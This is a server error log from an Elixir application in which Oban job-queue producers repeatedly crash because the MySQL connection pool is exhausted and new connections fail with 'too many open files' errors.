State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:06:18.239445Z], limit: 3, uuid: "3f00826e-0247-49a4-9d75-c226baa2844b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:18.239450Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2469>, refresh_timer: #Reference<0.2525715032.1099431938.2449>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:06:18.239379Z], limit: 5, uuid: "69315a37-ecef-4a37-8a09-3e4229e46d73", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:18.239401Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2471>, refresh_timer: #Reference<0.2525715032.1077411843.236341>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:06:18.241682Z], limit: 20, uuid: "5bf86a6b-bb3d-4e17-beb3-f1d015a6ee17", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:18.241689Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2470>, refresh_timer: #Reference<0.2525715032.1077411843.236370>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:31.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:32.541000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:32.749000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:34.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:38.314000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:39.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:06:30.242228Z], limit: 5, uuid: "c2c93470-a29e-4347-b777-bc1e6bb3da59", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:30.242233Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2806>, refresh_timer: #Reference<0.2525715032.1099431938.2783>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:06:30.242093Z], limit: 3, uuid: "3f080668-65a2-49b4-84fc-e9c3187f6919", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:30.242098Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2807>, refresh_timer: #Reference<0.2525715032.1099431938.2777>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:06:30.243058Z], limit: 20, uuid: "7bfde452-c834-41b8-b21c-d17925b87f0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:30.243064Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2808>, refresh_timer: #Reference<0.2525715032.1077411843.236491>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:06:30.241736Z], limit: 10, uuid: "92d3ae8a-5365-4331-ab89-4508094626ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:30.241745Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2805>, refresh_timer: #Reference<0.2525715032.1099431938.2759>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:42.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:06:30.241961Z], limit: 50, uuid: "62012324-67ea-408e-8954-9db9f456bf73", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:30.241967Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.107260>, refresh_timer: #Reference<0.2525715032.1121189889.107249>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:06:30.242298Z], limit: 5, uuid: "11c07fda-d829-46f4-bcd5-7219794b79ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:30.242304Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2809>, refresh_timer: #Reference<0.2525715032.1068236804.252683>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:43.211000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:44.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:46.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:46.033000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:49.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:50.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:52.594000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
